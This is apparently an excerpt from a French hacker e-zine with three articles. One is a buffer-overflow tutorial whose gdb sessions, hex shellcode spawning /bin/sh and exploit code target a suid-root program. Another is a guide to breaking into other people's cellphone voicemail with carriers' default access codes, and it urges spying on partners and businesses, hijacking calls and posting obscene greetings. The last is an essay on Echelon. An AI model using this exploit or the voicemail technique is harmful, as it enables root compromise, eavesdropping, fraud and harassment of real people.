code. En effet, il faut tenir compte du fait que nous sommes dans un 
environnement protger, ou la virtual memory est utilise. Cela nous oblige 
donc a include le code a excuter a l'intrieur mme des segments du processus 
vulnrable (qui, tant suid, devient une proprit du root lors de son 
excution), sans quoi une faute de protection ou de segmentation se produira. 
C'est d'ailleurs pour cette raison que nous placerons notre code a l'intrieur 
mme du buffer. Voici une nouvelle reprsentation de la string de l'overflow:


 	STRING: [NOPs][code arbitraire][new_eip]


Maintenant que nous savons en quoi consiste la string que nous allons 
utiliser, il serait temps de trouver quelques adresses qui nous seront 
ncessaires pour le bon fonctionnement de l'opration:

	1) l'adresse du buffer a overflower;
	2) la position de l'image de %eip.

C'est ici que vous devrez sortir le meilleur ami de l'homme: gdb. 
Supposons d'abord que le programme suivant soit suid root et que nous 
dsirions l'exploiter...


	iff% cat > suid.c
	main(int argc, char *argv[]) 
	{ 
		char buffer[1024]; 
		strcpy(buffer, argv[1]); 
	} 
	^C
	iff% gcc -static suid.c -o suid
	iff% gdb suid
	[...]
	(gdb) disassemble main
	Dump of assembler code for function main:
	0x10c0 <main>:  	pushl  %ebp
	0x10c1 <main+1>:        movl   %esp,%ebp
	0x10c3 <main+3>:        subl   $0x400,%esp
	0x10c9 <main+9>:        call   0x1164 <__main>
	0x10ce <main+14>:       movl   0xc(%ebp),%eax
	0x10d1 <main+17>:       addl   $0x4,%eax
	0x10d4 <main+20>:       movl   (%eax),%edx
	0x10d6 <main+22>:       pushl  %edx
	0x10d7 <main+23>:       leal   0xfffffc00(%ebp),%eax
	0x10dd <main+29>:       pushl  %eax
	0x10de <main+30>:       call   0x1238 <strcpy>
	0x10e3 <main+35>:       addl   $0x8,%esp
	0x10e6 <main+38>:       leave
	0x10e7 <main+39>:       ret
	End of assembler dump.


Nous observons ici que l'adresse de "buffer", tant place dans la stack en 
dernier lieu (puisque "buffer" est le premier argument de strcpy()), sera 
ncessairement contenue dans le registre %eax, tel que le dmontre "pushl 
%eax" a l'adresse 0x10dd. Ainsi, nous pourrons rcuprer l'adresse de "buffer" 
en rcuprant le contenu de %eax juste avant l'appel de strcpy().


	(gdb) break *0x10de
	Breakpoint 1 at 0x10de
	(gdb) run
	Starting program: /usr/home/mbuf/dev/suid

	Breakpoint 1, 0x10de in main ()
	(gdb) info registers
	eax            0xefbfd91c       -272639716
	ecx            0xefbfdd40       -272638656
	edx            0x0      0
	ebx            0xefbfdd3c       -272638660
	esp            0xefbfd914       0xefbfd914
	ebp            0xefbfdd1c       0xefbfdd1c
	esi            0xefbfdd97       -272638569
	edi            0x0      0
	eip            0x10de   0x10de
	eflags         0x286    646
	cs             0x1f     31
	ss             0x27     39
	ds             0x27     39
	es             0x27     39
	(gdb)


Bingo. On s'aperoit ici que l'adresse de "buffer" est 0xefbfd91c. 
Maintenant, il nous faut trouver l'adresse du contenu de %eip sauvegarde avant 
l'appel de main(). Pour faire une telle chose, la technique la plus sre est 
sans doute le brute-forcing. Nous tenterons donc d'essayer d'overwriter %eip  
avec exactitude et d'obtenir la distance exacte entre le dbut du buffer a 
overflower et la position de %eip.


	iff% gdb suid
	[...]
	(gdb) run `perl -e "printf('A'x1032)";echo BBBB`
	Starting program: /usr/home/mbuf/tmp/huhu [...]
  
	Program received signal SIGSEGV, Segmentation fault.
	0x41414141 in ?? ()
	(gdb) bt
	#0  0x41414141 in ?? ()
	(gdb) run `perl -e "printf('A'x1028)";echo BBBB`
	The program being debugged has been started already.
	Start it from the beginning? (y or n) y
	Starting program: /usr/home/mbuf/tmp/huhu [...]

	Program received signal SIGSEGV, Segmentation fault.
	0x42424242 in ?? ()
	(gdb) bt
	#0  0x42424242 in ?? ()
	#1  0x0 in ?? ()
	(gdb)


Bingo. Nous savons maintenant qu'en utilisant un offset de 1028 par rapport 
a la position initiale du buffer (0xefbfd91c), "BBBB" ('B'==0x42) overwrite 
parfaitement %eip. On pouvait s'y attendre, puisque "buffer" n'est spar de 
l'image de %eip que par l'image de %ebp (registre de 32 bits, 4 bytes), et que 
"buffer" a une taille de 1024 bytes.



LE SHELLCODE
~~~~~~~~~~~~

Maintenant, il est temps de passer aux choses srieuses. Nous devons crire le 
shellcode, soit le code que nous excuterons arbitrairement. Pour ce faire, 
nous allons d'abord crire le code en C pour ensuite le dsassembler...


	iff% cat > code.c
	main()
	{
		char *cmd[] = {"/bin/sh",0};
		execve("/bin/sh", cmd, 0);
	}
	^C
	iff% gcc -static code.c -o code
	iff% ./code
	$ exit
	iff% gdb code
	[...]
	(gdb) disassemble main
	Dump of assembler code for function main:
	0x10c8 <main>:  	pushl  %ebp
	0x10c9 <main+1>:        movl   %esp,%ebp
	0x10cb <main+3>:        subl   $0x8,%esp
	0x10ce <main+6>:        call   0x1174 <__main>
	0x10d3 <main+11>:       leal   0xfffffff8(%ebp),%eax	
	0x10d6 <main+14>:       movl   $0x10c0,0xfffffff8(%ebp)
	0x10dd <main+21>:       movl   $0x0,0xfffffffc(%ebp)
	0x10e4 <main+28>:       pushl  $0x0
	0x10e6 <main+30>:       leal   0xfffffff8(%ebp),%eax
	0x10e9 <main+33>:       pushl  %eax
	0x10ea <main+34>:       pushl  $0x10c0
	0x10ef <main+39>:       call   0x1218 <execve>
	0x10f4 <main+44>:       addl   $0xc,%esp
	0x10f7 <main+47>:       leave
	0x10f8 <main+48>:       ret
	End of assembler dump.
	(gdb) disassemble execve
	Dump of assembler code for function execve:
	0x1218 <execve>:        leal   0x3b,%eax
	0x121e <execve+6>:      lcall  0x7,0x0
	0x1225 <execve+13>:     jb     0x1210 <atexit+112>
	0x1227 <execve+15>:     ret
	(gdb)


On voit ici une grande partie du code que nous dsirons inclure dans notre 
shellcode.  Comme vous auriez pu le deviner, de nombreuses modifications 
devront tre portes avant que celui-ci ne soit utilisable.  Voici en fait les 
quelques instructions ncessaires au bon fonctionnement du shellcode:


	movl   [shell],0xfffffff8(%ebp)		7 bytes
	movl   $0x0,0xfffffffc(%ebp)	 	7 bytes
	pushl  $0x0				2 bytes
	leal   0xfffffff8(%ebp),%eax		3 bytes
	pushl  %eax				1 byte
	pushl  [shell]				5 bytes
	leal   0x3b,%eax			6 bytes
	lcall  0x7,0x0				7 bytes
	"/bin/sh"


Maintenant que nous avons trouve les instructions a placer dans le shellcode, 
il nous reste a trouver les adresses de "/bin/sh" (shell). Or, si l'on dcide 
d'crire d'abord notre shellcode pour le faire suivre par "/bin/sh", il est 
trivial de calculer la position exacte de "/bin/sh" dans le buffer, tant 
donner que nous connaissons dj la position du buffer en mmoire. Cependant, 
nous ne dsirons pas rfrer a "/bin/sh" de faon statique dans notre shellcode. 
Pourquoi? tout simplement parce que si on dsire placer le shellcode dans un 
autre buffer que celui a overflower, nous devrons aussi _recrire_ le 
shellcode en entier. C'est pourquoi, lorsque l'on dsire faire appel a la 
string "/bin/sh", nous utiliserons une technique simple mais efficace de 
wrapping:


	jmp    [call addr]
	popl   %ebx
        movl   %ebx,0xfffffff8(%ebp)            
        movl   $0x0,0xfffffffc(%ebp)            7 bytes
        pushl  $0x0                             2 bytes
        leal   0xfffffff8(%ebp),%eax            3 bytes
        pushl  %eax                             1 byte
        pushl  %ebx                             
        leal   0x3b,%eax                        6 bytes
        lcall  0x7,0x0                          7 bytes
	call   [popl addr]
	"/bin/sh"


Et voil. Sachant que les instructions jmp et call peuvent prendre comme 
operands des adresses relatives et que lorsqu'un call est effectuer, 
l'adresse de l'instruction suivante est place dans la stack (l'image de 
%eip), nous pourrons retrouver l'adresse de "/bin/sh" en la retirant de la 
stack et en la plaant dans un registre non utilis (%ebx).

Pour trouver les adresses relatives (offset) de popl et call, nous devrons 
d'abord trouver la taille de chacune des nouvelles instructions que nous avons 
insrs:


	iff% cat > wrapper.c
	main()
	{
        	__asm__("
  	             	        jmp     37
        	                popl    %ebx
				movl    %ebx,0xfffffff8(%ebp)
				pushl   %ebx
       		                call    -36
                	");
	}
	^C
	iff% gdb wrapper
	[...]
	(gdb) disassemble main
	Dump of assembler code for function main:
	0x10c0 <main>:  	pushl  %ebp
	0x10c1 <main+1>:        movl   %esp,%ebp
	0x10c3 <main+3>:        call   0x1154 <__main>
	0x10c8 <main+8>:        jmp    0x10ef <__do_global_dtors+15>
	0x10ca <main+10>:       popl   %ebx
	0x10cb <main+11>:       movl   %ebx,0xfffffff8(%ebp)
	0x10ce <main+14>:       pushl  %ebx
	0x10cf <main+15>:       call   0x10b0 <dlsym+24>
	0x10d4 <main+20>:       leave
	0x10d5 <main+21>:       ret
	(gdb)


Parfait, voici donc avec exactitude le nouveau code que nous dsirons avoir 
dans notre shellcode:


        jmp    31				2 bytes
        popl   %ebx				1 byte
        movl   %ebx,0xfffffff8(%ebp)		3 bytes
        movl   $0x0,0xfffffffc(%ebp)            7 bytes
        pushl  $0x0                             2 bytes
        leal   0xfffffff8(%ebp),%eax            3 bytes
        pushl  %eax                             1 byte
        pushl  %ebx				1 byte
        leal   0x3b,%eax                        6 bytes
        lcall  0x7,0x0                          7 bytes
        call   -36				5 bytes
        "/bin/sh"


Voil! Il est maintenant temps de rcrire notre wrapper, puis de trouver les 
opcodes associes a chacune des instructions que nous dsirons utiliser. Pour 
des raisons que je ne connais trop, "lcall" n'a pas des operands valides tel 
que dmontr dans l'exemple ci haut. C'est pourquoi nous trouverons les 
opcodes de toutes les instructions en crivant ces dernires dans un inline 
__asm__, alors que nous trouverons lcall en dsassemblant execve():


	iff% cat > asmcode.c
	main()
	{
	        __asm__("
	                        jmp    31
	                        popl   %ebx
	                        movl   %ebx,0xfffffff8(%ebp)
	                        movl   $0x0,0xfffffffc(%ebp)
	                        pushl  $0x0
	                        leal   0xfffffff8(%ebp),%eax
	                        pushl  %eax
	                        pushl  %ebx
	                        leal   0x3b,%eax
	                        call   -31
	        ");
		execve("", 0, 0);
	}
	iff% gcc -static asmcode.c -o asmcode
	iff% gdb asmcode
	[...]
	(gdb) disassemble main
	Dump of assembler code for function main:
	0x10c4 <main>:  	pushl  %ebp
	0x10c5 <main+1>:        movl   %esp,%ebp
	0x10c7 <main+3>:        call   0x1174 <__main>
	0x10cc <main+8>:        jmp    0x10ed <main+41>   # = <main+34>+7
	0x10ce <main+10>:       popl   %ebx
	0x10cf <main+11>:       movl   %ebx,0xfffffff8(%ebp)
	0x10d2 <main+14>:       movl   $0x0,0xfffffffc(%ebp)
	0x10d9 <main+21>:       pushl  $0x0
	0x10db <main+23>:       leal   0xfffffff8(%ebp),%eax
	0x10de <main+26>:       pushl  %eax
	0x10df <main+27>:       pushl  %ebx
	0x10e0 <main+28>:       leal   0x3b,%eax
	0x10e6 <main+34>:       call   0x10c7 <main+3>	  # = <main+10>-7
	0x10eb <main+39>:       pushl  $0x0
	0x10ed <main+41>:       pushl  $0x0
	0x10ef <main+43>:       pushl  $0x10c0
	0x10f4 <main+48>:       call   0x1218 <execve>
	0x10f9 <main+53>:       addl   $0xc,%esp
	0x10fc <main+56>:       leave
	0x10fd <main+57>:       ret
	(gdb) x/31xb 0x10cc
	0x10cc <main+8>:        0xeb    0x1f    0x5b    0x89    0x5d    
	0xf8    0xc7    0x45
	0x10d4 <main+16>:       0xfc    0x00    0x00    0x00    0x00    
	0x6a    0x00    0x8d
	0x10dc <main+24>:       0x45    0xf8    0x50    0x53    0x8d    
	0x05    0x3b    0x00
	0x10e4 <main+32>:       0x00    0x00    0xe8    0xdc    0xff    
	0xff    0xff  	
	(gdb) disassemble execve
	Dump of assembler code for function execve:
	0x1218 <execve>:        leal   0x3b,%eax
	0x121e <execve+6>:      lcall  0x7,0x0
	0x1225 <execve+13>:     jb     0x1210 <atexit+112>
	0x1227 <execve+15>:     ret
	(gdb) x/13xb 0x1218
	0x1218 <execve>:        0x8d    0x05    0x3b    0x00    0x00    
	0x00    0x9a    0x00
	0x1220 <execve+8>:      0x00    0x00    0x00    0x07    0x00
	(gdb)


Et voil. Voici a quoi va ressembler notre shellcode complet:


        0xeb    0x1f    0x5b    0x89    0x5d
        0xf8    0xc7    0x45
        0xfc    0x00    0x00    0x00    0x00	<--- main
        0x6a    0x00    0x8d
        0x45    0xf8    0x50    0x53    0x8d
        0x05    0x3b    0x00
        0x00    0x00    

        0x8d    0x05    0x3b    0x00    0x00
        0x00    0x9a    0x00			<--- execve
        0x00    0x00    0x00    0x07    0x00

	0xe8    0xdc    0xff			<--- call [popl]
        0xff    0xff

        "/bin/sh"				<--- shell


Hum. On aperoit un autre problme ici. Le shellcode semble parfait _mais_ il 
ne pourra jamais tre copier en entier via une fonction comme strcpy(). 
Pourquoi? tout simplement a cause des 0x00, qui seront considrs comme une 
fin de string. C'est pourquoi deux solutions s'offrent a nous. La premire 
serait d'utiliser un registre clear a la place d'utiliser $0x00 dans chaque 
cas ncessaire. La seconde serait d'insrer le shellcode ailleurs que dans le 
buffer cible, ce qui serait la aussi une solution trs viable (la placer en 
argv[X] ou autre). 



L'EXPLOIT
~~~~~~~~~

Pour l'exemple d'exploit fournit ici, je ferai abstraction de ce problme pour 
laisser au codeur le choix de sa technique. Cela vitera, de plus, que cet 
article soit utilise aveuglement pour fournir aux script kids une facon simple 
d'crire leurs propres exploits. Voici donc a quoi ressemblerait un exploit 
pour un buffer overflow cree par une fonction telle bcopy() (ce qui est trs 
rare, tant donner la possibilit le limiter la taille des donnes copies 
qu'offre bcopy()):


	#define OFFSET	1028

	char shellcode[] = 
		"\xeb\x1f\x5b\x89\x5d\xf8\xc7\x45\xfc\x00\x00"
		"\x00\x00\x6a\x00\x8d\x45\xf8\x50\x53\x8d\x05"
		"\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a"
		"\x00\x00\x00\x00\x07\x00\xe8\xdc\xff\xff\xff"
        	"/bin/sh";

	main(int argc, char *argv[])
	{
		char string[OFFSET+4];
		int i, j;

		/* copie les NOPs */
                for(i=0;i<(OFFSET-sizeof(shellcode));i++)
                        string[i] = 0x90;

		/* copie le shellcode */
		for(i=i,j=0;i<OFFSET;i++,j++)
			string[i] = shellcode[j];

		/* Buffer Addr = 0xefbfdd1c */
		string[i++] = 0x1c;
		string[i++] = 0xdd;
		string[i++] = 0xbf;
		string[i++] = 0xef;
		
		for(i=0;i<sizeof(string);i++)
			printf("%c", string[i]);
	}



CONCLUSION
~~~~~~~~~~

Comme je l'ai mentionne plus haut (l'ai-je fait?) cet article n'a qu'une 
valeur thorique. En ralit, crire un buffer overflow est extrmement plus 
simple, tant donner que de nombreux shellcodes ont dj t crits pour de 
nombreuses architectures diffrentes. De plus, je ne vous assure aucunement 
que l'exploit prsent en exemple marche. Par contre, une chose est sr, 
c'est qu'il reflte bel et bien le fonctionnement d'un buffer overflow 
typique, tel que dcrit tout au long de cet article.

Sur ce, je vous souhaite bonne chance dans votre chasse aux bugs, en 
souhaitant que vous ayez eu le courage de lire l'article en entier. A la 
prochaine...





											<|- Klog -|>
											^^^^^^^^^^^^^^
										     (also in FrHack)




		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 




	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                     CELLULAR BAL INTRUSION

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



1)Intro

  Le Cellular Bal Intrusion, est une mthode permetant la prise de 
contrle de boite vocal de tlphone cellulaire. Cette technique est 
tres peu utilise quelque soit le domaine. En effet alors que le CBI 
permeterais l' obtention d' informations parfois d' ordre principal,
la technique n' est jamais employe, et bien souvent a tort....
Car non seulement d' une rapidit exemplaire, mais aussi d' une 
facilit dconcertante le CBI peut s' appliqu a de nombreux domaines.


2) Fonctionalites apports par mthode CBI:

-Ecoute de message de type peronnels et professionels du CBU
 (Cellular Bal User).
-Prise de contrle de la Cellular Bal
-Reroutage des informations
-Dfacage du CBM (Cellular Bal Message)


3) Dtails et applications

  Dans cette section nous observerons les differentes possiblilites 
que vous permettent cette mthode, on tudira ensuite comment raliser 
cette technique. Mme si cette technique peut vous paraitre parfois 
contraignante du fait que l' information voulu n' est pas toujours  la 
clefs, quand elle y est ... 

a) Le CBUE 

  Le CBUE; coute de message de type peronnels et professionels du CBU 
(Cellular Bal User); est la fonctionalite la plus importante. Elle 
peut aborde un objectif proffessionel ou personel.

  * CBUE  usage proffessionel.

Cette methode d' intrusion vous permeteras de connaitre des 
informations d' ordre prive, tel que la possible ngociation de 
contrat inter-entreprise, affiliations, ...
Abordons donc comment vous pourrez l' utiliser. Pour commencer vous 
devrez vous procurer le numro de l' agence, entreprise, personalit 
sur laquelle vous rechercher des informations. Pour ce faire utilisez les 
techniques courantes de Social Engeenering. Une fois cette obtention 
ralise, procdez a cette technique rgulierement car les Cellular 
Bals sont rgulierment mise a jour soit par le fournisseur, soit par le 
client lui mme. Ensuite reperez et notez ces informations ...
Je vous conseillerais donc d' utiliser le CBUE sur plusieurs membres 
aux fonctions importantes de l' entreprise. Je ne pense pas avoir  
vous expliquer comment utiliser ces informations, non?
Ici je vais vous dmontrer un exemple de renseignements utiles par une 
liste non hexaustive que sont :

-contrats, tractations et affiliations en negotiations entre  
entreprises dans le but de devancer l' effet de surprise et de prvoire 
une tactique de repliment pour le cas chant et ne pas etre lais 
(soit en faissant un meilleur offre, ou ... si vous avez une certaine 
tche dans votre entreprise vous serez que faire).

-parfois mme obtenir des codes d' accs, dtails de scurits,...
car mme ayant connaissance de probleme de scurit informatique, trs 
rare sont ceux qui se mfient du contenus de leur Cellular Bals.

-informations sur l' illgalits de certaines actions qui pourrait tre 
dommagable si tel affaire s' bruitait... donc favorable pour vous :p .

-tellement de fonctionnalites, chaque jour vous en dcouvrirez d' 
autres.

  * CBUE  usage personnel

  Reconstituez strictement les mmes mthodes que pour l' usage 
proffessionel, la difference est juste d' ordre d' application.
Enonons  qui peut bien servir cette technique;  TOUT le monde!
Aussi bien le dtective priv, que l' amoureux transit, 
le paranoaque nvros que la commre du coin!
En effet vous pourrez prendre connaissance d' informations d' ordre 
prives sur un client, voisin, ami, ennemi, votre mre, votre pre, 
petite amie ou petit copain, mari ou femme, ... tout ceux qu' il vous 
chanteras d' couter.

Ses applications?
-savoir si votre petit(e) ami(e) vous trompe,
-savoir si votre mre a reu des messages salace,
-tout et n' importe quoi!

En bref tester, vous en apprenderez certainement beaucoup des personnes 
qui vous entourent.

b)Prise de contrle de la Cellular Bal

  Cette technique est simple, ps avoir eu cces  la Cellular Bal, 
on vous propose des possibilits d' options tel que l' ecoute de la 
Cellular Bal, modifiction du CBM (Cellular Bal Message), modification 
du code d' cces, effacement de messages, ...
Soit plein de possiblit d' utilisations  dcouvrir.

c)Reroutage d' informations

  En fait cette tecnique consiste apres une prise de contrle du 
cellulaire  renvoyer les appel  destination du CBU.
Pour ce faire vous changerez le CBM par une redirection vers votre 
moyen d' coute.
Rerouter donc les appels entrant vers vous en donnant par exemple 
une raison de changement de numero (" en raison de changement de 
fonctionalit de Mr ..son nom.. son numro proffessionel est dsormais 
le ..votre n.. veuillez excuser la ..sa socite.. pour ce 
drangement").

Voici un simple exemple mais vous en trouverz de multipes solutions 
pour le cas ci-contre.
Je vous conseillerais toutefois de changer son code d' cces au cas 
ou il lui prendrait l' ide d' couter son CBM.
Vous trouverez vous mme les applications envisageable en reroutant des 
clients  vous.
Utilisez cette procdure avec modration car si le CBU s' apperoit de 
probleme il appelera son service lient et changera l' cces ...  vous 
de voir; mais attendez plutt des moments propices comme une 
commande,...

d)-Dfacage du CBM (Cellular Bal Message)

  Cette technique est surtout d' ordre personnel, et est le cot fun de 
la mthode. Elle permet un dfaage du CBM en le remplaant par un 
message de votre got ("36015 M...E....N por les hommes qui aiment les 
hommes,..." "je suis une grosses salope en manque de sex, alors si tu 
est bien galb laisse moi un message ou viens chez moi au ...... ", 
etc). Ou tout simplement " YOUR CELLULAR BAL WAS BEEB HACKED BY THE 
ARCHIVIST AN MEMBER OF HACKTIF FOR PROTEST AGAINT THE UNSECURITY 
SYSTEME OF ITINERIS"

Arf,... c 'est le petit moment de dtente, de foutage de geule, 
d' humiliation du CBU, de pure trip :p
A consommer sans moderations ...


4) Mthodes

  En fait la mthode est tres tres simple, vous vous dites que malgr 
tout il va vous faloir quelques notions, apprendre, ....
He! NON! Il vous faut juste un doit pour enculer le CBU...
La raison est une "dbilitude profonde" des sysadmins qui n' ont pas 
crus bon de protger l' accs, se disant que a risquait d' tre trop 
compliqu pour l' usager... bref voulais pas se fatiguer surtout!!!
Bon la mthode:

-Etape1 : Prenez votre phone en main.
-Etape2 : Composez le n de consultation a distance du CBM.
-Etape3 : Composez le code par dfault pour la consultation du CBM 
           distance.
-Etape4 : Euh....y en a pas , plus qu' a faire ce que vous voulez.
-Etape5 : Ben racrochez .... finish.

  Et oui aussi simple que a, maintenant comment connaitre le n de 
consultation  distance, et le code d' acces par dfault?

  Chaque fournisseur en a des differents et parfois plusieurs mme, 
idem pour son code. Pour les obtenir lisez la documentation pour la 
consultation  distance de sa Cellular Bal, demandez a vos amis 
comment ils procedent suivant leur forfait,  des revendeurs, ...

  Je ne vais vous donner tout les numeros d' appels et codes car  
vous de chercher un peu aussi, mais pour vous ammuser un peu en voila 
tout de mme quelques uns:

-ITINERIS: 
n de consultation=06.07.07(ou 08.08. pour les tout rcents 
abonements) prcds des quatres premiers numros du tlephone en 
question suivant le 06. Par exemple pour le 06.83.99.99.99 faites le 
06.07.07.83.99.
Ensuite on vous demanderas de rentrer le numro total suivit de dieze:
faites le 06.83.99.99.99#.
Enfin on vous demanderas le code d' accs, qui est pour itineris par 
dfaut le 0000 (simple, non? :p ) puis #.
Voil vous etes dans la Cellular Bal.

-SFR: 
Appeler le n du CBU.
Appuyer sur # lorsque vous coutez le CBM, puis composer le code d' 
accs suivit de # . Le code est le 1 suivit des cinq derniers chiffres 
du n du CBU; puis #; soit pour le 06.83.99.99.99 faites le 1.9.99.99#.
Et si le vous tes a l' tranger faites +33611 suivi des 6 premiers 
chiffres du n du CBU; soit pour le 06.83.99.99.99 faites le 
+33611.83.99.99

  Pour cette mthode le code ne doit pas avoir t chang, mais c' est 
le cas pour 95% des cas!!! Let' s go!


5) Outro

  Le CBI est certainement pas Le grand moyen d' espionnage et d' 
obtention d' informations, mais facile d' emploit et de ralisation il 
vous sera certainement d' utilite un jour ou l' autre.
Le CBI est donc bel est bien utilisable dut a une ingrance des 
systmes et applications de nos chers (ah bon?) fournisseurs 
clulaires . Peut tre qu' ainsi, de part ce texte, ils se bougeront et 
ferrons enfin leur devoir minimum envers leurs clients, pour un 
service dja assez cher pay, en atribuant directement un code d' accs 
indpendant et diffrent  chaque utilisateur. Dans tout les cas Vous 
changez le votre et faite le changer aux personnes qui vous entourent, 
merci!

  Souvent c' est dans l' abus et une trop grande utilisation de 
mthodes non lgales que les chosent se modifient l o les lettres ne 
font rien. Etant donn que les personnes concernes ne veulent rien 
faire, forons les!



											)-)< The Archivist ^>(-(
											^^^^^^^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 





	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                       BIG BROTHER & ECHELON

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	




Introduction:

Big Brother c'est quoi au juste big brother, c'est quelqu'un ou quelque chose qui controle 
la planete, qui en dpit de toutes les valeurs morales que nous avons, espionne, tue et tout 
ca en toute impunit. Aujourd'hui le big brother c'est les States (U.S.A), ca tout le monde 
le savait, mais bien plus qu'une simple incursion dans notre vie aujourd'hui les Etats Unis 
espionne le moindre faits et gestes de la population mondiale. En effet a l'heure ou l'Europe
veut combattre l'hgmonie amricaine un tat europen nomm l'angleterre abrite une base qui 
permet ses oreilles gantes de nous espionner....


Lexique:


NSA :  National Security Agency elle est charge de la scurit de l'tat amricain, 
       on ne peut pas dfinir exactement ces objectifs car toutes les directives sont classs 
       TOP SECRET, donc il est possible d'imaginer le pire. Son budget est de 17 Milliards 
       de dollars.
       Elle fut fonde en 1952 par le prsident Truman, mais le gouvernement reconnu 
       sont existence quand 1957.Il faut savoir que c'est le plus gros employeur de
	 scientifiques (mathmaticiens, chiffreurs, dchiffreurs

   *NSA : il y a un autre organisme avec les mmes initiales mais avec une 
          signification diffrente National Security Archive. Cette une 
          organisation non gouvernementale, c'est elle qui a russit  faire 
          dclassifier des documents classs TOP SECRET, et dans ces documents 
          Echelon est explicitement mentionn, on peu dcouvrir dans ces documents 
          diffrente information sur les bases de l'US air force accueillant 
          ce systme dans le monde. 

SCS : il y a quelques annes la NSA et la CIA aurait cr une agence commune, le SCS 
      Spcial Collection Service, cette agence serait charg de dcrypter les messages qui 
      sont extrmement bien protg et qui sont longs  dcoder. Sa mission est de s'introduire 
      dans les sytmes d'informations ( soit par piratage ou en se rendant sur place) 
      Elle distribue des chevaux de Troie et elle collecte des informations.
      Le gouvernement amricain n'a jamais reconnu l'existence de cette agence...


Le systeme echelon:

Vous souvenez vous du roman de George Orwell dnoncait un cerveau totalitaire et depourvu 
de toute morale humaine. Un espion qui vient de la ou on ne l'attendait pas finit 
le temps de l'espion russe ou du james bond agent trainant sur le terrain pour collecter
des informations ou dejouer des complots.Aujourd'hui big brother est partout prsent dans notre 
vie traquant  le moindre secret que nous pourrions vouloir lui dissimuler, il espionne sur 
notre vie pour etre au courant de nos moindre faits et geste mais il espionne aussi a une fin 
commerciale et industrielle afin de ne pas tre dpass par des illumins avides de dcouvertes 
et qui n'ont pas comme objectif de faire de l'argent et un profit illimit.Le dvellopemment 
des nouvelles technologies et l'inscuirt qui trainent sur le net favorise l'espionnage 
Mais c'est quoi au juste ce rseau d'espionnage

On l'appelle le rseau Echelon. Ses dtracteurs, c'est--dire ceux qui n'y ont pas accs, 
l'ont dnomm le Club . Par drision ou par jalousie. Au motif qu'il est strictement rserv 
 cinq Etats dans le monde, qui parlent l'anglais et qui, forts de cette communaut de langue 
qui les rapproche et en fait des comploteurs, ont tiss entre eux seuls des liens spciaux : 
les Etats-Unis, la Grande-Bretagne, le Canada, la Nouvelle-Zlande et l'Australie. Echelon 
est leur machine de guerre top-secret, mme s'il est probable que d'autres pays, selon des 
modalits particulires  chacun et restrictives par rapport aux Etats fondateurs, l'ont 
rejoint en cours de route, tels, parmi les plus souvent cits, l'Allemagne, le Japon, 
la Core du Sud, la Turquie ou la Norvge.
D'o vient que ce systme plantaire de surveillance lectronique a suscit autant d'motion  
Bruxelles, au point que, le 30 mars, le Conseil, la Commission et le Parlement de l'Union 
europenne ont prvu d'en dbattre aprs la publication, fin fvrier, d'un rapport ? De la 
simple constatation, qui en offusque plus d'un : des allis espionnent d'autres allis, puisque, 
au sein de ce club anglo-saxon, trois pays appartiennent  l'OTAN (les Etats-Unis, 
la Grande-Bretagne et le Canada) et que l'un d'eux, le Royaume-Uni, est de surcrot membre de 
l'Union europenne. C'est la loyaut entre allis qui est gravement affecte.

Tout commence en 1947. L'Union sovitique vient de renoncer  profiter du plan Marshall, 
du nom de ce gnral amricain qui fut le principal collaborateur du prsident Roosevelt pendant
la seconde guerre mondiale et qui, devenu secrtaire d'Etat en 1947, propose  l'Europe, pays 
de l'Est compris, de l'assister dans sa reconstruction et son redressement financier. Ce qu'on a 
appel, ensuite, la  guerre froide  entre l'Est et l'Ouest commence. L'Union sovitique, se 
croyant assige, entreprend de s'entourer d'un glacis protecteur form de pays d'Europe 
centrale.
L'anne suivante, un pacte secret, dont les dtails le restent encore  ce jour, va lier les 
Etats-Unis  la Grande-Bretagne, dj partenaires, depuis 1943, dans un rseau de renseignement 
dnomm Brusa Comint. Ce pacte-l prend le nom de code Ukusa, par rfrence aux initiales 
des deux pays. Deux agences, la National Security Agency (NSA),  Fort George Meade
(Etats-Unis), dont l'existence ne sera reconnue que dix ans aprs par Washington, et 
le Government Communications Headquarters (GCHQ),  Cheltenham (Grande-Bretagne), sont invites
 prserver les intrts des deux pays dans le monde en interceptant les transmissions  
l'tranger. La NSA et le GSHQ sont dj des outils performants en matire d'espionnage 
lectronique. Leur travail prioritaire consiste  couter les missions que s'changent 
les tats-majors toujours trop bavards des armes du bloc communiste et desquelles on dduit 
l'ordre de bataille sur le terrain, c'est--dire leurs capacits  combattre.
Dans les annes 70, la France, au travers d'une Bourse des changes entre services spciaux 
occidentaux, dnomme Totem, a t associe aux interceptions de la NSA, notamment pour 
la mise au point de logiciels d'analyse des informations recueillies et pour la communication 
d'une srie de renseignements sur le dispositif militaire en Europe de l'Est.

Mais Ukusa va grandir ou, plutt, il enfle. Le pacte de dpart attire d'autres candidats 
qui veulent, eux aussi, bnficier des mmes renseignements. S'y rallient 
le Defence Signals Directorate (DSD),  Melbourne, en Australie ; 
le Communications Security Establishment (CSE),  Ottawa, au Canada, 
et le Government Communications Security Bureau (GCSB), en Nouvelle-Zlande. 
Autant de services de renseignement  but militaire, qui sont d'ordinaire trs discrets, 
voire individualistes et qui confrrie oblige vont apprendre  cooprer sous l'impulsion 
des gouvernements en constituant une sainte alliance de l'espionnage.
En s'panouissant sous le nez des initis, Ukusa  se transforme. Il reste l'un des secrets 
les mieux gards au monde. Il faudra attendre 1972 pour que la revue amricaine Remparts, 
qui est le moyen d'expression des dnonciateurs du complexe militaro-industriel amricain, 
publie les confidences d'un ancien de la NSA sans, pour autant, prononcer le nom d'Echelon. 
Mais, Echelon existe, cach derrire Ukusa.
